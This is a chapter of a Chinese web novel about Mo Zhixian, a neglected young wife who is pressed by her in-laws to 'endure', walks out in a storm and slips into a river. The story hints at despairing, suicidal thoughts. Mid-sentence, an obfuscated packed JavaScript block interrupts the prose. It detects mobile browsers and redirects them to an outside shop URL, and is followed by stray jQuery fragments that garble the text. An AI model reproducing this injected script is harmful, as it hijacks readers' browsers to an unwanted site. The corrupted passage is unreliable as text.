莫知娴的变化身为丫鬟的阿香是最先感觉到不对的，就跟那个树木失去了精气神一样。
白日里阿香走一步跟一步，夜里就睡在耳房门口，稍有动静就爬起来张望。莫知娴看在眼里，什么也没说，只是偶尔拍拍她的手，让她别这么紧张。
可阿香哪敢松劲。那晚自家奶奶回来时的模样，她到现在想起来还心慌。那脸色，那眼神，还有那句“人要是没了，会不会就不给人添麻烦了”她夜里做梦都梦见，醒来一身冷汗。
云镜尘那边，听说还关在东厢。只是锁开了，能在院子里走动走动。邢家那边又递了几回话，云老爷压着没让传进来，云太太气得躺了几日，何氏每日过去伺候，回来时总是一脸疲惫。
莫知娴除了出门去请安就是呆着屋子里绣花，说的话越来越少。那幅兰草绣完了，她又翻出块月白的绸子，这回描的是竹子，疏疏朗朗，比兰草还素净。
阿香看着那幅竹子，忍不住道：“二奶奶，您怎么尽绣这些素净的？绣些花儿朵儿的多好看。”
莫知娴手上顿了顿，没抬头：“素净的好。”
阿香张了张嘴，想说什么，又咽了回去。
这日午后，何氏来了。
她拎着一包点心进来，见莫知娴坐在窗前发呆，便走过去，把那包点心往她手里一塞。
“瞧你上次应该爱吃枣泥酥，新出炉的，趁热用些。”
莫知娴接过，轻声道了谢，却没打开。
何氏在她旁边坐下，看了她半晌，忽然道：“这几日可还好？”
莫知娴挤出点笑意来轻微点了点头：“还好。”
何氏叹了口气，目光里带着几分心疼。她张了张嘴，想说什么，又咽了回去，只是拍了拍莫知娴的手。
“弟妹，有些话，我原不该说。”何氏看着她，斟酌着开口，“可看你这样，我这也实在不忍心。二弟那就是对公爹强制安排不满意，他又是留洋回来的，婆母一向宠他，他不过是没了解过你，日后熟悉熟悉他自然会觉得你好。”
莫知娴垂下眼，没接话。
何氏又道：“娘那边也急，这几日身子都不爽利。还有小妹那张嘴你也知道，别跟她一般见识。你且忍忍”
忍。
又是忍。
莫知娴听着那话，心里什么滋味都有，又好像什么滋味都没有。何氏走后，她又坐到窗前，看着外头的天色一点点暗下去。
傍晚时分，云太太派人来叫她。
莫知娴换了身衣裳，跟着来人去了正院。云太太歪在榻上，额上敷着帕子，脸色不大好。见她进来，摆了摆手，让她坐到跟前。
“镜尘那边，又闹了。”云太太叹着气，“今儿个一早，那邢家又派人来递话，说书媛回去哭了半夜，问镜尘这事到底能不能成。他爹气得不行，把那递话的骂了出去。”
莫知娴垂着眼，没说话。
云太太看了她一眼，目光里带着愧疚：“我跟他爹商量了，这事……这事不能由着他胡来。你是明媒正娶的媳妇，只要你不松口，谁也进不了这个门。”
莫知娴抬起头，看着云太太。
云太太拉着她的手，眼眶有些红：“好孩子，你且忍着。等这阵风头过了，他想通了，自然就好了。”
一样的话术，一样的意思。左不过核心就还是那一个字“忍”
从正院出来，天色已经暗了。廊下的灯笼一盏盏亮起来，昏黄的光晕在风里摇晃。吹的她浑身都有些冷。
回到西厢，阿香已经摆好了晚饭。一碗粳米粥，两碟小菜，一碟桂花糕。莫知娴坐下，拿起筷子，夹了一块糕，放进嘴里慢慢嚼着。
桂花甜糯，可吃在嘴里，什么滋味也没有。她嚼着那块糕，嚼了很久很久。
吃完饭，她又坐到窗前，看着外头的天色完全暗下去。阿香点了灯，把屋子照亮。窗外起了风，越来越大，吹得窗纸簌簌响。
“要下雨了。”阿香说着，去关窗户。
莫知娴忽然站起来。“我出去走走。”
阿香吓了一跳：“二奶奶，外头要下雨了，您去哪儿？”
“就在院子里。”莫知娴道，“闷了几日，透透气。”阿香想跟着，被她拦下。
“你别跟来。”她说，“我就走几步，一会儿就回来。”阿香张了张嘴，想说什么，又不敢违拗，只得站在门口，看着她往外走。
莫知娴穿过西厢的小院，走过那条通往花园的青石小径。天已经彻底黑了，廊下的灯笼被风吹得摇摇晃晃。
她没有去花园，而是绕过假山，往另一条路走。那条路通往府外。
后门虚掩着，门房的老陈头不知去哪儿了。她推开门，走出去。
外头是一条小巷，平日里没什么人走。她沿着小巷往前走，也不知道要去哪儿，只是想走走。给自己放放空。
风越来越大，时不时天边滚过几声闷雷，远远的，像是从地底下传来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342829|199435||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
她走过小巷，走过一条街，走到一片开阔的地方。
是河边。
河水黑沉沉的，映不出什么，只隐约能看见对岸的树影，黑黢黢的一排。风从河面上刮过来，带着特有清新味，吹得她浑身发冷。
她站在河岸边，看着那河水。
河水在流动，发出细微的声响，哗啦，哗啦，脑海里想的确是，水应该是世间最自由的吧，她也想要过那样无拘无束的日子。
想起小时候在乡下，夏天的夜里，阿爹会搬张凳子坐在院子里，教她认天上的星星。
“那是北斗七星，像把勺子。”阿爹指着天，“你记着，往后不论走多远，看见它，就知道哪儿是北。”
她那时候还小，仰着头看了半天，也没看出勺子的形状。
后来阿爹不教她认星星了，开始教她背女诫。背错了要罚跪，跪在院子里青砖地上，膝盖硌得生疼。她哭着问阿爹为什么要背这些，阿爹说，往后你嫁了人，这些就是你的命。
她的命。
她低头看着自己这双手，指节粗粗的，手心有薄薄的茧，是做针线磨出来的。这双手，跟着她也是受了罪了。
雷声又响起来，这回近了些。风更大了，吹得她几乎站不稳。
她往前迈了一步。脚踩在河岸边的湿泥上，软软的，陷下去一点。她又迈了一步，离水更近了。想要感受一下河水。
河岸的泥很滑，长着薄薄的青苔。她站在那儿，低头看着那水，水面上映出一点模糊的光，是远处人家的灯火。
又一声雷，这回就在头顶炸开，震得她耳膜嗡嗡响。紧接着，豆大的雨点砸下来，砸在她脸上，砸在她身上，砸在河面上，激起一圈圈涟漪。
雨越下越大，顷刻间就成了倾盆之势。她站在河岸边，浑身湿透，雨水顺着脸颊往下淌，淌进眼睛里，涩涩的。
她抬起脚，又往前迈了一步。已经离得很近了，蹲下身子应该就能触到水面。
就在此时，突然发生了意外，莫知娴脚下一滑。
她来不及反应，整个人已经往后仰去。手在空中胡乱抓了一把，什么也没抓住，身子重重地摔在河岸上，顺着湿滑的泥坡往下滑。
冰冷的河水瞬间漫过脚踝，漫过小腿，漫过腰。
她想爬起来，手在泥里抓，抓了一把烂泥，什么也抓不住。身子还在往下滑，河水漫过胸口，漫过肩膀，漫过脖子。
好冷。